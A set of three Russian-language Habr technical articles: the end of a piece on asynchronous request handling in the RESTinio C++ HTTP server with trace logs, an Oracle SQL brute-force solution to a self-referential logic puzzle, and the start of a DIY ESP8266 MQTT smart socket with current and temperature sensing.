[2019-05-13 15:02:40.190] TRACE: [connection:1] sending resp data, buf count: 3, total size: 42
[2019-05-13 15:02:40.190] TRACE: [connection:1] outgoing data was sent: 42 bytes
[2019-05-13 15:02:40.190] TRACE: [connection:1] finishing current write group
[2019-05-13 15:02:40.190] TRACE: [connection:1] should keep alive
[2019-05-13 15:02:43.542] TRACE: [connection:1] append response (#0), flags: { not_final_parts, connection_keepalive }, write group size: 3
[2019-05-13 15:02:43.542] TRACE: [connection:1] start next write group for response (#0), size: 3
[2019-05-13 15:02:43.542] TRACE: [connection:1] sending resp data, buf count: 3, total size: 42
[2019-05-13 15:02:43.542] TRACE: [connection:1] outgoing data was sent: 42 bytes
[2019-05-13 15:02:43.542] TRACE: [connection:1] finishing current write group
[2019-05-13 15:02:43.542] TRACE: [connection:1] should keep alive
[2019-05-13 15:02:46.297] TRACE: [connection:1] append response (#0), flags: { not_final_parts, connection_keepalive }, write group size: 3
[2019-05-13 15:02:46.297] TRACE: [connection:1] start next write group for response (#0), size: 3
[2019-05-13 15:02:46.297] TRACE: [connection:1] sending resp data, buf count: 3, total size: 42
[2019-05-13 15:02:46.297] TRACE: [connection:1] append response (#0), flags: { final_parts, connection_keepalive }, write group size: 1
[2019-05-13 15:02:46.297] TRACE: [connection:1] outgoing data was sent: 42 bytes
[2019-05-13 15:02:46.298] TRACE: [connection:1] finishing current write group
[2019-05-13 15:02:46.298] TRACE: [connection:1] should keep alive
[2019-05-13 15:02:46.298] TRACE: [connection:1] start next write group for response (#0), size: 1
[2019-05-13 15:02:46.298] TRACE: [connection:1] sending resp data, buf count: 1, total size: 5
[2019-05-13 15:02:46.298] TRACE: [connection:1] outgoing data was sent: 5 bytes
[2019-05-13 15:02:46.298] TRACE: [connection:1] finishing current write group
[2019-05-13 15:02:46.298] TRACE: [connection:1] should keep alive
[2019-05-13 15:02:46.298] TRACE: [connection:1] start waiting for request
[2019-05-13 15:02:46.298] TRACE: [connection:1] continue reading request
[2019-05-13 15:02:46.298] TRACE: [connection:1] EOF and no request, close connection
[2019-05-13 15:02:46.298] TRACE: [connection:1] close
[2019-05-13 15:02:46.298] TRACE: [connection:1] close: close socket
[2019-05-13 15:02:46.298] TRACE: [connection:1] close: timer canceled
[2019-05-13 15:02:46.298] TRACE: [connection:1] close: reset responses data
[2019-05-13 15:02:46.298] TRACE: [connection:1] destructor called
```
Здесь можно увидеть, как RESTinio принимает запрос и сразу же отсылает первую часть ответа размером 167 байт. Затем через разные промежутки времени отсылаются остальные части ответа и, когда клиент получает весь ответ и закрывает соединение со своей стороны, RESTinio закрывает соединение у себя и освобождает связанные с ним ресурсы.
Данный пример показывает, что при использовании RESTinio можно сохранить где-то в прикладном коде объект response\_builder и задействовать этот объект тогда, когда появляется возможность сформировать очередную часть ответа клиенту.
В примере я применял отложенные сообщения. Но в реальном коде у нас могут быть, скажем, асинхронные запросы к внешним сервисам. В этом случае мы можем ассоциировать response\_builder с асинхронным запросом. Когда ответ на запрос поступит, мы воспользуемся responce\_builder для отдачи клиенту части нужной клиенту информации, а сами сделаем асинхронный запрос к следующему сервису и т.д.
Полный код примера можно увидеть [здесь](https://gist.github.com/eao197/e3d93b292dee3967c6a84e2646d7b8ba).
Что будет, если обработка запроса займет слишком много времени?
---------------------------------------------------------------
Допустим, в своем request\_handler-е мы делегировали обработку запроса какой-то другой рабочей нити. Что произойдет, если эта нить будет настолько занята, что сможет приступить к обработке запроса только через час или два?
Когда RESTinio отдает запрос на обработку, начинается отсчет тайм-аута для request\_handler-а. Как только этот тайм-аут истечет, а ответ не будет сформирован, RESTinio просто напросто закроет соединение на своей стороне. То, что затем будет сформировано в качестве ответа будет проигнорировано. Вот, например:
```
[2019-05-13 15:32:23.618] TRACE: starting server on 127.0.0.1:8080
[2019-05-13 15:32:23.618] INFO: init accept #0
[2019-05-13 15:32:23.618] INFO: server started on 127.0.0.1:8080
[2019-05-13 15:32:26.768] TRACE: accept connection from 127.0.0.1:49502 on socket #0
[2019-05-13 15:32:26.768] TRACE: [connection:1] start connection with 127.0.0.1:49502
[2019-05-13 15:32:26.768] TRACE: [connection:1] start waiting for request
[2019-05-13 15:32:26.768] TRACE: [connection:1] continue reading request
[2019-05-13 15:32:26.768] TRACE: [connection:1] received 78 bytes
[2019-05-13 15:32:26.768] TRACE: [connection:1] request received (#0): GET /
[2019-05-13 15:32:30.768] TRACE: [connection:1] handle request timed out
[2019-05-13 15:32:30.768] TRACE: [connection:1] close
[2019-05-13 15:32:30.768] TRACE: [connection:1] close: close socket
[2019-05-13 15:32:30.768] TRACE: [connection:1] close: timer canceled
[2019-05-13 15:32:30.768] TRACE: [connection:1] close: reset responses data
[2019-05-13 15:32:31.768] WARN: [connection:1] try to write response, while socket is closed
[2019-05-13 15:32:31.768] TRACE: [connection:1] destructor called
```
Здесь истек тайм-аут для обработчика запроса и соединение было закрыто. Затем, когда через секунду ответ попытались записать, то RESTinio проигнорировал эту попытку, т.к. соединения с клиентом уже нет.
Управлять величиной тайм-аута можно посредством параметра `handle_request_timeout`, который задается в параметрах RESTinio-сервера (подробнее [здесь](https://stiffstream.com/en/docs/restinio/0.4/serversettings.html)).
Заключение
==========
Надеюсь, мне удалось показать, что асинхронная обработка запросов в RESTinio — это не сложно, и не страшно. Так что, если вы решили попробовать RESTinio, то имейте в виду, что асинхронность является одной из основных возможностей RESTinio, поэтому грех от нее отказываться.
Ну а если вы смотрели RESTinio и не решились взять наш фреймворк в работу, то поделитесь, пожалуйста, своими соображениями: почему отказались? Чего-то не хватило? Что-то не понравилось? Где-то что-то сделано лучше?
PS. На Хабре про RESTinio мы рассказываем пока сильно меньше, чем про SObjectizer, но несколько публикаций было. Так что, если кто-то узнал про RESTinio впервые, то вот некоторые из них: "[Трехэтажные C++ные шаблоны в реализации встраиваемого асинхронного HTTP-сервера с человеческим лицом](https://habr.com/post/345788/)", "[Асинхронные HTTP-запросы на C++: входящие через RESTinio, исходящие через libcurl. Часть 1](https://habr.com/post/349728/)", "[Shrimp: масштабируем и раздаем по HTTP картинки на современном C++ посредством ImageMagic++, SObjectizer и RESTinio](https://habr.com/post/416387/)" | https://habr.com/ru/post/451728/ | null | ru | null |
# Решение рекурсивной логической головоломки на Oracle SQL
Однажды в своем блоге коллега разместил картинку:
Вспомнив про статью [Задача о восьми Ферзях на Oracle SQL](http://habrahabr.ru/post/128137/), решил попробовать решить ее аналогичным путем.
Сначала описываю исходное декартово произведение всех возможных ответов:
```
(select level a from dual connect by level <= 5) q1,
(select level a from dual connect by level <= 5) q2,
(select level a from dual connect by level <= 5) q3,
(select level a from dual connect by level <= 5) q4,
(select level a from dual connect by level <= 5) q5,
(select level a from dual connect by level <= 5) q6,
(select level a from dual connect by level <= 5) q7,
(select level a from dual connect by level <= 5) q8,
(select level a from dual connect by level <= 5) q9,
(select level a from dual connect by level <= 5) q10,
(select level a from dual connect by level <= 5) q11,
(select level a from dual connect by level <= 5) q12,
(select level a from dual connect by level <= 5) q13,
(select level a from dual connect by level <= 5) q14,
(select level a from dual connect by level <= 5) q15,
(select level a from dual connect by level <= 5) q16,
(select level a from dual connect by level <= 5) q17,
(select level a from dual connect by level <= 5) q18,
(select level a from dual connect by level <= 5) q19,
(select level a from dual connect by level <= 5) q20
```
Затем для удобства переименовываю ответы по номерам a1..a20 и подсчитываю количества вариантов ответов, которые необходимы для некоторых условий — количество ответов “A” (1), количество ответов “B” с первого по десятый вопрос, количество ответов “B” всего, и так далее:
```
select
q1.a a1,
q2.a a2,
q3.a a3,
q4.a a4,
q5.a a5,
q6.a a6,
q7.a a7,
q8.a a8,
q9.a a9,
q10.a a10,
q11.a a11,
q12.a a12,
q13.a a13,
q14.a a14,
q15.a a15,
q16.a a16,
q17.a a17,
q18.a a18,
q19.a a19,
q20.a a20,
case q1.a when 1 then 1 else 0 end +
case q2.a when 1 then 1 else 0 end +
case q3.a when 1 then 1 else 0 end +
case q4.a when 1 then 1 else 0 end +
case q5.a when 1 then 1 else 0 end +
case q6.a when 1 then 1 else 0 end +
case q7.a when 1 then 1 else 0 end +
case q8.a when 1 then 1 else 0 end +
case q9.a when 1 then 1 else 0 end +
case q10.a when 1 then 1 else 0 end +
case q11.a when 1 then 1 else 0 end +
case q12.a when 1 then 1 else 0 end +
case q13.a when 1 then 1 else 0 end +
case q14.a when 1 then 1 else 0 end +
case q15.a when 1 then 1 else 0 end +
case q16.a when 1 then 1 else 0 end +
case q17.a when 1 then 1 else 0 end +
case q18.a when 1 then 1 else 0 end +
case q19.a when 1 then 1 else 0 end +
case q20.a when 1 then 1 else 0 end a_count,
case q1.a when 2 then 1 else 0 end +
case q2.a when 2 then 1 else 0 end +
case q3.a when 2 then 1 else 0 end +
case q4.a when 2 then 1 else 0 end +
case q5.a when 2 then 1 else 0 end +
case q6.a when 2 then 1 else 0 end +
case q7.a when 2 then 1 else 0 end +
case q8.a when 2 then 1 else 0 end +
case q9.a when 2 then 1 else 0 end +
case q10.a when 2 then 1 else 0 end b_count10,
case q1.a when 2 then 1 else 0 end +
case q2.a when 2 then 1 else 0 end +
case q3.a when 2 then 1 else 0 end +
case q4.a when 2 then 1 else 0 end +
case q5.a when 2 then 1 else 0 end +
case q6.a when 2 then 1 else 0 end +
case q7.a when 2 then 1 else 0 end +
case q8.a when 2 then 1 else 0 end +
case q9.a when 2 then 1 else 0 end +
case q10.a when 2 then 1 else 0 end +
case q11.a when 2 then 1 else 0 end +
case q12.a when 2 then 1 else 0 end +
case q13.a when 2 then 1 else 0 end +
case q14.a when 2 then 1 else 0 end +
case q15.a when 2 then 1 else 0 end +
case q16.a when 2 then 1 else 0 end +
case q17.a when 2 then 1 else 0 end +
case q18.a when 2 then 1 else 0 end +
case q19.a when 2 then 1 else 0 end +
case q20.a when 2 then 1 else 0 end b_count,
case q1.a when 3 then 1 else 0 end +
case q2.a when 3 then 1 else 0 end +
case q3.a when 3 then 1 else 0 end +
case q4.a when 3 then 1 else 0 end +
case q5.a when 3 then 1 else 0 end +
case q6.a when 3 then 1 else 0 end +
case q7.a when 3 then 1 else 0 end +
case q8.a when 3 then 1 else 0 end +
case q9.a when 3 then 1 else 0 end +
case q10.a when 3 then 1 else 0 end +
case q11.a when 3 then 1 else 0 end +
case q12.a when 3 then 1 else 0 end +
case q13.a when 3 then 1 else 0 end +
case q14.a when 3 then 1 else 0 end +
case q15.a when 3 then 1 else 0 end +
case q16.a when 3 then 1 else 0 end +
case q17.a when 3 then 1 else 0 end +
case q18.a when 3 then 1 else 0 end +
case q19.a when 3 then 1 else 0 end +
case q20.a when 3 then 1 else 0 end c_count,
case q1.a when 4 then 1 else 0 end +
case q2.a when 4 then 1 else 0 end +
case q3.a when 4 then 1 else 0 end +
case q4.a when 4 then 1 else 0 end +
case q5.a when 4 then 1 else 0 end +
case q6.a when 4 then 1 else 0 end +
case q7.a when 4 then 1 else 0 end +
case q8.a when 4 then 1 else 0 end +
case q9.a when 4 then 1 else 0 end +
case q10.a when 4 then 1 else 0 end +
case q11.a when 4 then 1 else 0 end +
case q12.a when 4 then 1 else 0 end +
case q13.a when 4 then 1 else 0 end +
case q14.a when 4 then 1 else 0 end +
case q15.a when 4 then 1 else 0 end +
case q16.a when 4 then 1 else 0 end +
case q17.a when 4 then 1 else 0 end +
case q18.a when 4 then 1 else 0 end +
case q19.a when 4 then 1 else 0 end +
case q20.a when 4 then 1 else 0 end d_count,
case q1.a when 5 then 1 else 0 end +
case q2.a when 5 then 1 else 0 end +
case q3.a when 5 then 1 else 0 end +
case q4.a when 5 then 1 else 0 end +
case q5.a when 5 then 1 else 0 end +
case q6.a when 5 then 1 else 0 end +
case q7.a when 5 then 1 else 0 end +
case q8.a when 5 then 1 else 0 end +
case q9.a when 5 then 1 else 0 end +
case q10.a when 5 then 1 else 0 end +
case q11.a when 5 then 1 else 0 end +
case q12.a when 5 then 1 else 0 end +
case q13.a when 5 then 1 else 0 end +
case q14.a when 5 then 1 else 0 end +
case q15.a when 5 then 1 else 0 end +
case q16.a when 5 then 1 else 0 end +
case q17.a when 5 then 1 else 0 end +
case q18.a when 5 then 1 else 0 end +
case q19.a when 5 then 1 else 0 end +
case q20.a when 5 then 1 else 0 end e_count
from
(select level a from dual connect by level <= 5) q1,
(select level a from dual connect by level <= 5) q2,
(select level a from dual connect by level <= 5) q3,
(select level a from dual connect by level <= 5) q4,
(select level a from dual connect by level <= 5) q5,
(select level a from dual connect by level <= 5) q6,
(select level a from dual connect by level <= 5) q7,
(select level a from dual connect by level <= 5) q8,
(select level a from dual connect by level <= 5) q9,
(select level a from dual connect by level <= 5) q10,
(select level a from dual connect by level <= 5) q11,
(select level a from dual connect by level <= 5) q12,
(select level a from dual connect by level <= 5) q13,
(select level a from dual connect by level <= 5) q14,
(select level a from dual connect by level <= 5) q15,
(select level a from dual connect by level <= 5) q16,
(select level a from dual connect by level <= 5) q17,
(select level a from dual connect by level <= 5) q18,
(select level a from dual connect by level <= 5) q19,
(select level a from dual connect by level <= 5) q20
```
И, наконец, накладываю все условия и вывожу результат:
```
select a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20
from (select
q1.a a1,
q2.a a2,
q3.a a3,
q4.a a4,
q5.a a5,
q6.a a6,
q7.a a7,
q8.a a8,
q9.a a9,
q10.a a10,
q11.a a11,
q12.a a12,
q13.a a13,
q14.a a14,
q15.a a15,
q16.a a16,
q17.a a17,
q18.a a18,
q19.a a19,
q20.a a20,
case q1.a when 1 then 1 else 0 end +
case q2.a when 1 then 1 else 0 end +
case q3.a when 1 then 1 else 0 end +
case q4.a when 1 then 1 else 0 end +
case q5.a when 1 then 1 else 0 end +
case q6.a when 1 then 1 else 0 end +
case q7.a when 1 then 1 else 0 end +
case q8.a when 1 then 1 else 0 end +
case q9.a when 1 then 1 else 0 end +
case q10.a when 1 then 1 else 0 end +
case q11.a when 1 then 1 else 0 end +
case q12.a when 1 then 1 else 0 end +
case q13.a when 1 then 1 else 0 end +
case q14.a when 1 then 1 else 0 end +
case q15.a when 1 then 1 else 0 end +
case q16.a when 1 then 1 else 0 end +
case q17.a when 1 then 1 else 0 end +
case q18.a when 1 then 1 else 0 end +
case q19.a when 1 then 1 else 0 end +
case q20.a when 1 then 1 else 0 end a_count,
case q1.a when 2 then 1 else 0 end +
case q2.a when 2 then 1 else 0 end +
case q3.a when 2 then 1 else 0 end +
case q4.a when 2 then 1 else 0 end +
case q5.a when 2 then 1 else 0 end +
case q6.a when 2 then 1 else 0 end +
case q7.a when 2 then 1 else 0 end +
case q8.a when 2 then 1 else 0 end +
case q9.a when 2 then 1 else 0 end +
case q10.a when 2 then 1 else 0 end b_count10,
case q1.a when 2 then 1 else 0 end +
case q2.a when 2 then 1 else 0 end +
case q3.a when 2 then 1 else 0 end +
case q4.a when 2 then 1 else 0 end +
case q5.a when 2 then 1 else 0 end +
case q6.a when 2 then 1 else 0 end +
case q7.a when 2 then 1 else 0 end +
case q8.a when 2 then 1 else 0 end +
case q9.a when 2 then 1 else 0 end +
case q10.a when 2 then 1 else 0 end +
case q11.a when 2 then 1 else 0 end +
case q12.a when 2 then 1 else 0 end +
case q13.a when 2 then 1 else 0 end +
case q14.a when 2 then 1 else 0 end +
case q15.a when 2 then 1 else 0 end +
case q16.a when 2 then 1 else 0 end +
case q17.a when 2 then 1 else 0 end +
case q18.a when 2 then 1 else 0 end +
case q19.a when 2 then 1 else 0 end +
case q20.a when 2 then 1 else 0 end b_count,
case q1.a when 3 then 1 else 0 end +
case q2.a when 3 then 1 else 0 end +
case q3.a when 3 then 1 else 0 end +
case q4.a when 3 then 1 else 0 end +
case q5.a when 3 then 1 else 0 end +
case q6.a when 3 then 1 else 0 end +
case q7.a when 3 then 1 else 0 end +
case q8.a when 3 then 1 else 0 end +
case q9.a when 3 then 1 else 0 end +
case q10.a when 3 then 1 else 0 end +
case q11.a when 3 then 1 else 0 end +
case q12.a when 3 then 1 else 0 end +
case q13.a when 3 then 1 else 0 end +
case q14.a when 3 then 1 else 0 end +
case q15.a when 3 then 1 else 0 end +
case q16.a when 3 then 1 else 0 end +
case q17.a when 3 then 1 else 0 end +
case q18.a when 3 then 1 else 0 end +
case q19.a when 3 then 1 else 0 end +
case q20.a when 3 then 1 else 0 end c_count,
case q1.a when 4 then 1 else 0 end +
case q2.a when 4 then 1 else 0 end +
case q3.a when 4 then 1 else 0 end +
case q4.a when 4 then 1 else 0 end +
case q5.a when 4 then 1 else 0 end +
case q6.a when 4 then 1 else 0 end +
case q7.a when 4 then 1 else 0 end +
case q8.a when 4 then 1 else 0 end +
case q9.a when 4 then 1 else 0 end +
case q10.a when 4 then 1 else 0 end +
case q11.a when 4 then 1 else 0 end +
case q12.a when 4 then 1 else 0 end +
case q13.a when 4 then 1 else 0 end +
case q14.a when 4 then 1 else 0 end +
case q15.a when 4 then 1 else 0 end +
case q16.a when 4 then 1 else 0 end +
case q17.a when 4 then 1 else 0 end +
case q18.a when 4 then 1 else 0 end +
case q19.a when 4 then 1 else 0 end +
case q20.a when 4 then 1 else 0 end d_count,
case q1.a when 5 then 1 else 0 end +
case q2.a when 5 then 1 else 0 end +
case q3.a when 5 then 1 else 0 end +
case q4.a when 5 then 1 else 0 end +
case q5.a when 5 then 1 else 0 end +
case q6.a when 5 then 1 else 0 end +
case q7.a when 5 then 1 else 0 end +
case q8.a when 5 then 1 else 0 end +
case q9.a when 5 then 1 else 0 end +
case q10.a when 5 then 1 else 0 end +
case q11.a when 5 then 1 else 0 end +
case q12.a when 5 then 1 else 0 end +
case q13.a when 5 then 1 else 0 end +
case q14.a when 5 then 1 else 0 end +
case q15.a when 5 then 1 else 0 end +
case q16.a when 5 then 1 else 0 end +
case q17.a when 5 then 1 else 0 end +
case q18.a when 5 then 1 else 0 end +
case q19.a when 5 then 1 else 0 end +
case q20.a when 5 then 1 else 0 end e_count
from
(select level a from dual connect by level <= 5) q1,
(select level a from dual connect by level <= 5) q2,
(select level a from dual connect by level <= 5) q3,
(select level a from dual connect by level <= 5) q4,
(select level a from dual connect by level <= 5) q5,
(select level a from dual connect by level <= 5) q6,
(select level a from dual connect by level <= 5) q7,
(select level a from dual connect by level <= 5) q8,
(select level a from dual connect by level <= 5) q9,
(select level a from dual connect by level <= 5) q10,
(select level a from dual connect by level <= 5) q11,
(select level a from dual connect by level <= 5) q12,
(select level a from dual connect by level <= 5) q13,
(select level a from dual connect by level <= 5) q14,
(select level a from dual connect by level <= 5) q15,
(select level a from dual connect by level <= 5) q16,
(select level a from dual connect by level <= 5) q17,
(select level a from dual connect by level <= 5) q18,
(select level a from dual connect by level <= 5) q19,
(select level a from dual connect by level <= 5) q20)
where
-- q1 Первый вопрос, ответ на который B, это вопрос: 1; 2; 3; 4; 5
((a1=2 and a1=1) or
(a1!=2 and a2=2 and a1=2) or
(a1!=2 and a2!=2 and a3=2 and a1=3) or
(a1!=2 and a2!=2 and a3!=2 and a4=2 and a1=4) or
(a1!=2 and a2!=2 and a3!=2 and a4!=2 and a5=2 and a1=5))
-- q2 Единственные два последовательных вопроса с одинаковыми ответами это: 6 и 7; 7 и 8; 8 и 9; 9 и 10; 10 и 11
and ((a6=a7 and a2=1) or
(a7=a8 and a2=2) or
(a8=a9 and a2=3) or
(a9=a10 and a2=4) or
(a10=a11 and a2=5))
and (a1!=a2 and a2!=a3 and a3!=a4 and a4!=a5 and a5!=a6 and
a11!=a12 and a12!=a13 and a13!=a14 and a14!=a15 and a15!=a16 and
a16!=a17 and a17!=a18 and a18!=a19 and a19!=a20)
-- q3 Количество вопросов с ответом E: 0; 1; 2; 3; 4;
and (a3 = e_count+1)
-- q4 Количество вопросов с ответом A: 4; 5; 6; 7; 8;
and (a4 = a_count-3)
-- q5 ответ на этот вопрос такой же, как и ответ на вопрос: 1; 2; 3; 4; 5
and ((a5=a1 and a5=1) or
(a5=a2 and a5=2) or
(a5=a3 and a5=3) or
(a5=a4 and a5=4) or
(a5=a5 and a5=5))
-- q6 Ответ на вопрос 17: C; D; E; ничего из перечисленного; все перечисленное
and ((a17=3 and a6=1) or
(a17=4 and a6=2) or
(a17=5 and a6=3) or
(a17 in (1, 2) and a6=4) or
(a17=3 and a17=4 and a17=5 and a6=5))
-- q7 В алфавите ответ на этот вопрос и ответ на следующий вопрос: отстоят на 4 буквы; на 3 буквы; на 2 буквы; на 1 букву; одинаковые
and ((abs(a7-a8)=4 and a7=1) or
(abs(a7-a8)=3 and a7=2) or
(abs(a7-a8)=2 and a7=3) or
(abs(a7-a8)=1 and a7=4) or
(a7=a8 and a7=5))
-- q8 Количество вопросов, чьи ответы - гласные: 4; 5; 6; 7; 8
and (a8 = a_count + e_count-3)
-- q9 Следующий вопрос с таким же ответом, как этот: 10; 11; 12; 13; 14
and ((a9=a10 and a9=1) or
(a9=a11 and a10!=a9 and a9=2) or
(a9=a12 and a10!=a9 and a11!=a9 and a9=3) or
(a9=a13 and a10!=a9 and a11!=a9 and a12!=a9 and a9=4) or
(a9=a14 and a10!=a9 and a11!=a9 and a12!=a9 and a13!=a9 and a9=5))
-- q10 Ответ на вопрос 16: D; A; E; B; C
and ((a16=4 and a10=1) or
(a16=1 and a10=2) or
(a16=5 and a10=3) or
(a16=2 and a10=4) or
(a16=3 and a10=5))
-- q11 Количество вопросов, предшествующих этому, с ответом B: 0; 1; 2; 3; 4
and (a11 = b_count10+1)
-- q12 Количество вопросов, чьи ответы - согласные: четное число; нечетное число; полный квадрат; простое число; делится на 5
and ((20-a_count-e_count in (2,4,6,8,10,12,14,16) and a12=1) or
(20-a_count-e_count in (1,3,5,7,9,11,13,15) and a12=2) or
(20-a_count-e_count in (1,4,9,16) and a12=3) or
(20-a_count-e_count in (1,2,3,5,7,11,13,17,19) and a12=4) or
(20-a_count-e_count in (5,10,15) and a12=5))
-- q13 Единственный вопрос с нечетным номером, чей ответ A: 9; 11; 13; 15; 17
and ((a9=1 and a11!=1 and a13!=1 and a15!=1 and a17!=1 and a13=1) or
(a9!=1 and a11=1 and a13!=1 and a15!=1 and a17!=1 and a13=2) or
(a9!=1 and a11!=1 and a13=1 and a15!=1 and a17!=1 and a13=3) or
(a9!=1 and a11!=1 and a13!=1 and a15=1 and a17!=1 and a13=4) or
(a9!=1 and a11!=1 and a13!=1 and a15!=1 and a17=1 and a13=5))
and (a1!=1 and a3!=1 and a5!=1 and a7!=1 and a19!=1)
-- q14 Количество вопросов с ответом D: 6; 7; 8; 9; 10
and (a14 = d_count-5)
-- q15 Ответ на вопрос 12: A; B; C; D; E
and (a15 = a12)
-- q16 Ответ на вопрос 10: D; C; B; A; E
and ((a10=4 and a16=1) or
(a10=3 and a16=2) or
(a10=2 and a16=3) or
(a10=1 and a16=4) or
(a10=5 and a16=5))
-- q17 Ответ на вопрос 6: C; D; E; ничего из перечисленного; все перечисленное
and ((a6=3 and a17=1) or
(a6=4 and a17=2) or
(a6=5 and a17=3) or
(a6 in (1, 2) and a17=4) or
(a6=3 and a6=4 and a6=5 and a17=5))
-- q18 Количество вопросов с ответом A равняется количеству вопросов с ответом: B; C; D; E; ничего из перечисленного
and ((a_count=b_count and a18=1) or
(a_count=c_count and a18=2) or
(a_count=d_count and a18=3) or
(a_count=e_count and a18=4) or
(a_count!=b_count and a_count!=c_count and a_count!=d_count and a_count!=e_count and a18=5))
-- q19 Ответ на этот вопрос: A; B; C; D; E
-- q20 Стандартизованный тест относится к интеллигентности как барометр к: температуре (только); скорости ветра (только); широте (только); долготе (только); все перечисленное
```
На вопрос 19 условий накладывать не требуется, а на 20 я не решился, так как вопрос несколько философский. В итоге получается четыре варианта ответа:
| A1 | A2 | A3 | A4 | A5 | A6 | A7 | A8 | A9 | A10 | A11 | A12 | A13 | A14 | A15 | A16 | A17 | A18 | A19 | A20 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 4 | 1 | 4 | 2 | 5 | 4 | 4 | 5 | 4 | 1 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 | 2 | 5 |
| 4 | 1 | 4 | 2 | 5 | 4 | 4 | 5 | 4 | 1 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 | 5 | 2 |
| 4 | 1 | 4 | 2 | 5 | 4 | 4 | 5 | 4 | 1 | 2 | 1 | 4 | 3 | 1 | 4 | 2 | 5 | 4 | 1 |
| 4 | 1 | 4 | 2 | 5 | 4 | 4 | 5 | 4 | 1 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 5 | 3 | 1 |
Если предположить, что на 20 вопрос “наиболее правильный” ответ “E” (5), то ответом на всю задачу является первая строка.
Выполнение запроса вместе с разбором и построением плана занимает 15..20 с. Повторное выполнение по уже имеющемуся плану — около 3 с.
Если посмотреть на план запроса, то видно, что выполняется не полный (5^20 вариантов), а оптимизированный перебор; по мере добавления переменных к ним сразу применяются ограничивающие условия, многократно ограничивая количество перебираемых вариантов.
Как показал мой опыт, решение подобной задачи на SQL оказалось проще, чем на императивном языке — достаточно было просто описать ограничения, накладываемые на множество вариантов. Оптимизацию Oracle провел самостоятельно, и вполне успешно. | https://habr.com/ru/post/163975/ | null | ru | null |
# Как заварить чай по MQTT или доступная умная розетка с контролем температуры и тока
> Зачем?
> ------
>
>
Даже в этом хабе наблюдается повышение интереса к IoT, по моему субъективному мнению это глобальная тенденция, выходящая далеко за рамки этого сайта. А значит стоит вставить и свои 5 копеек в развитие направления, тем более что давно крутилась мысль сделать узел для умного дома, который смог бы контролировать потребление любого прибора питающегося от сети 220В и давал возможность программировать логику управления в зависимости от параметров потребления, температуры, фазы луны и т.д. Существуют готовые решения, но часто в них что-то не устраивает, да и готовое это не наш метод если можно попробовать построить свой уникальный велосипед.
**Параметры будущего велосипеда:**
— Дешевое устройство из общедоступных компонентов.
— Контроль тока в цепи потребителя.
— Управление устройством по протоколу MQTT.
— Контроль температуры устройства.
— Два выносных датчика для контроля температуры потребителя.
— Индикация состояния на экране устройства.
— Аварийное отключения потребителя если температура или ток превысили задаваемые значения.
**Кейс применения:**
* Мониторинг потребления электроэнергии.
* Возможность дистанционного отключение устройства в случае аварии или просто так.
* Простое устройство для мониторинга температуры в полупрофессиональных серверных кладовках где часто случаются ЧП так как за температурой в помещении ничего не следит.
* Термостатическое регулирование (поддержание температуры, в моем случае мне нужно прогнозировать оттепель и включать подогрев ливневки «греющим кабелем» заблаговременно).
* Узел системы умного дома для реализации выше описанных функций.
* ~~И конечно же Wifi чайник! Остальное для количества.~~
**И хотелось бы показать насколько просто и дешево реализовать связку: [Устройство] <-> [Wifi] <-> [MQTT] <-> [Централизованное отслеживание состояния и управление конечным устройством].**
> Подбор компонентов
> ------------------
>
>
#### Чем измерить ток?
В отличии от измерения напряжения датчики для измерения тока не настолько распространены в любительской электронике. Но доступны несколько типов датчиков тока — токовые шунты, трансформаторного типа и датчики основанные на эффекте Холла. Понятно что классификация любительская, но если посмотреть в интернет магазине то названия будут примерно такие.
Шунт использовать не хотелось из-за необходимости придумывать гальваническую развязку (это чтобы 220В не ринулись всеми своими амперами в наш микроконтроллер и из него не вышел весь волшебный дым на котором они, как известно, работают). Трансформаторные датчики тоже имеют свои особенности. А вот последний тип оказался не только очень доступен, но и удобен в использовании. Я так думал когда его заказывал.
Если у вас цепь низкого напряжения то разумнее всего использовать вместо шунта резистор малого известного номинала. Подробнее как и чем можно измерять ток читайте в хорошей [статье](https://geektimes.ru/post/255126/) автора [radiolok](https://habr.com/ru/users/radiolok/).
Датчики ACS712 чаще всего продаются уже распаянные на небольшую плату с необходимым минимумом обвязки. Могу посоветовать перед применением защитить саму микросхему металлическим экраном от влияния посторонних магнитных полей. Датчик к ним очень чувствительный и в стоковом виде больше подходит для поиска скрытой проводки чем для измерения тока. С импровизированной защитой помехоустойчивость ощутимо повышается.
В большой зеленый разъем втыкаем два провода полученные путем разрезания одного из двух проводов цепи 220В (последовательное включение в цепь). На разъем с другой стороны датчика подаем +5В, землю и с оставшегося пина снимаем аналоговый сигнал который колеблется относительно середины (2.5В) в зависимости от силы и направление тока. Вот так все просто… на бумаге.
~~Примерно в этом месте начинается костылестроение.~~ Эти датчики доступны в версиях на 5,20,30 ампер. Если с двумя последними все более менее понятно то 5-ти амперная версия оказалась особенная, особенность эта заключалась в том что сигнал изменяется (по документации) только на +-1В от середины (2.5В). Кому интересны подробности их есть [тут](https://www.drive2.ru/b/456815746333278890/). По ссылке автор делает предположение что это на самом деле 10-ти амперные датчики которые не получились. Если добавить к этому сильную шумность самого датчика и его склонность реагировать на все подряд магнитные поля вокруг то задача снять с него более менее внятный сигнал перестает быть скучной. Но так как датчики были уже закуплены я решил попробовать сделать что-то из них.
#### Главный модуль устройства
От этого модуля требуется поддерживать связь желательно по Wifi и крутить основной рабочий цикл с опросом датчиков, проверкой условий, реакцией на кнопки и т.д. Что же выбрать из одного варианта? И внезапно мы выбираем ESP8266. В моем случае это ESP-12F. Ах, да! Есть еще ESP-32.
Лучше всего берите его сразу распаянным на плату с обвязкой и USB to UART переходником. Но можно и подключить самому так как покупать готовый это не по заветам велосипедостроения. [Материал по этой теме](https://esp8266.ru/esp8266-podkluchenie-obnovlenie-proshivki/).
Я потерял некоторое количество времени пытаясь прошить самоподключенную ESP-шку. Использовался USBtoUART на микросхеме CH340. Плата упорно не хотела прошиваться пока я не переключил логику CH340 на 5В рискуя спалить выводы ESP. Но пока без потерь.
Далее это все [подключается к Arduino IDE](https://geektimes.ru/post/271754/) [HWman](https://habr.com/ru/users/hwman/) и не сильно отличается в программировании от обычной Arduino. Но очень сильно отличается по возможностям и вычислительным ресурсам:
* 80 MHz 32-bit процессор Tensilica (англ.)русск. Xtensa L106. Возможен негарантированный разгон до 160 МГц.
